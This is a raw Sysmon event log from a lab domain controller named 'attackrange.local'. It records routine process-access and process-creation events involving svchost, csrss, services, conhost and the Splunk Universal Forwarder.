09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004882Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004881Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004880Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004879Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004878Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004877Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004876Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004875Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004874Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004873Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.743{A5F018FF-28BD-5F80-0A00-000000007F01}8521620C:\Windows\system32\services.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\services.exe+12bee|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004872Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.746{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" serviceC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000004871Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294E-5F80-0401-000000007F01}3692C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004870Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004869Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004868Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004867Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004866Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004865Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004864Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004863Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004862Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-294E-5F80-0401-000000007F01}3692C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004861Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004860Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-294E-5F80-0301-000000007F01}48404920C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294E-5F80-0401-000000007F01}3692C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004859Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.472{A5F018FF-294E-5F80-0401-000000007F01}3692C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServerListener: --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294E-5F80-0301-000000007F01}4840C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list httpServerListener: --no-log 10341000x80000000000000004858Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294E-5F80-0301-000000007F01}4840C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004857Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.462{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004856Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 